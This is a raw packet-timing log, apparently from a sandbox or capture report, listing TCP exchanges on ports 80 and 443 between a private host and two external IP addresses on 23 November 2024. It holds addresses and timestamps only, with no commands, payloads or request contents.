Nov 23, 2024 18:22:36.837652922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.839564085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.839660883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.839694977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.839710951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.841490030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.841553926 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.841703892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.841756105 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.841912031 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.842307091 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.842318058 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.842892885 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.842897892 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.843555927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.843609095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.843693018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.843739986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.845993042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.846045971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.846215963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.846266985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.847692013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.847742081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.847763062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.847809076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.849487066 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.849540949 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.849584103 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.849637985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.851480007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.851536989 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.851567984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.851628065 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.853496075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.853645086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.853701115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.855519056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.855571985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.855674982 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.855715036 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.857471943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.857522964 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.857574940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.857660055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.859447956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.859505892 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.859549046 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.860404015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.861624956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.861685991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.861753941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.861800909 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.863456964 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.863523006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.863543034 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.863650084 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.865469933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.865535021 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.865622997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.865675926 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.867470026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.867526054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.867626905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.868602037 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.869447947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.869524956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.869561911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.869648933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.871418953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.871527910 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.871535063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.871622086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.873663902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.873723984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.873728991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.873769999 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.875412941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.875469923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.875513077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.875560045 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.877458096 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.877507925 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.877545118 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.877608061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.879391909 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.879512072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.879569054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.893241882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.893310070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.893536091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.893584013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.893635988 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.895509005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.895561934 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.895589113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.895647049 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.897468090 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.897521019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.897587061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.897649050 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.899501085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.899557114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.899585962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.899633884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.901452065 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.901501894 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.901572943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.901622057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.903461933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.903605938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.903609991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.903667927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.905458927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.905561924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.905615091 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.907430887 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.907485008 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.907501936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.907552004 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.909449100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.909495115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.909547091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.909600973 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.911537886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.911642075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.911675930 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.911688089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.913528919 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.913587093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.913618088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.913631916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.915461063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.915533066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.915544987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.915677071 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.917449951 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.917510986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.917553902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.917599916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.919435978 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.919492006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.919521093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.919595003 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.921020031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.921083927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.921111107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.921159983 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.922667027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.922732115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.922760010 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.922816992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.924268961 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.924316883 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.924505949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.924556017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.925792933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.925843000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.925882101 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.925956964 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.927455902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.927509069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.927608013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.927655935 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.928935051 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.928991079 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.929037094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.929136992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.950495958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.950571060 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.967888117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.967945099 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.967998981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.968045950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.968633890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.968683004 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.968730927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.968784094 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.970084906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.970170021 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.970206022 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.970220089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.971580982 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.971631050 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.971707106 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.971755981 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.973170042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.973212957 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.973259926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.973308086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.974725008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.974780083 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.974833012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.974883080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.976305962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.976324081 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.976362944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.976376057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.977853060 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.977909088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.977963924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.978013039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.979403973 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.979454994 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.979501963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.979545116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.981010914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.981029987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.981064081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.981080055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.982574940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.982633114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.982665062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.982852936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.984124899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.984177113 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.984229088 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.984275103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.985677004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.985733986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.985738993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.985790014 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.987236023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.987289906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.987371922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.987428904 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.988858938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.988910913 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.988944054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.988991976 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.990535021 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.990592957 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.990628958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.990669966 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.991899967 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.991945982 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.991981983 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.992042065 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.993469000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.993529081 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.993571043 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.993621111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.994963884 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.995012045 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.995110989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.995152950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.996495008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.996582031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.996618986 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.996746063 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.998027086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.998078108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.998151064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.998202085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.999569893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.999622107 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.999667883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.999716997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.001115084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.001184940 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.001244068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.001291037 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.002671003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.002724886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.002794981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.002851009 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.004240990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.004298925 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.004360914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.004405975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.005754948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.005816936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.005844116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.006015062 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.007280111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.007350922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.007388115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.007437944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.008810043 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.008858919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.008941889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.008989096 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.010353088 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.010401011 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.010449886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.010502100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.011921883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.011981010 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.012032032 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.012088060 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.013441086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.013493061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.013528109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.013575077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.014990091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.015043020 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.015074015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.015116930 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.016504049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.016618013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.016650915 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.016669035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.018040895 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.018148899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.018198013 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.144598961 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.144655943 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.145104885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.145211935 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.145247936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.145293951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.146433115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.146619081 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.146672010 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.147993088 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.148057938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.148133039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.148492098 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.149537086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.149581909 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.149702072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.149777889 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.150468111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.150522947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.150548935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.150593042 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.151295900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.151475906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.151530027 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.152256012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.152412891 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.152462959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.153116941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.153218031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.153254986 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.153382063 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.154053926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.154108047 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.154126883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.154381037 CET	49822	80	192.168.2.4	185.215.113.16
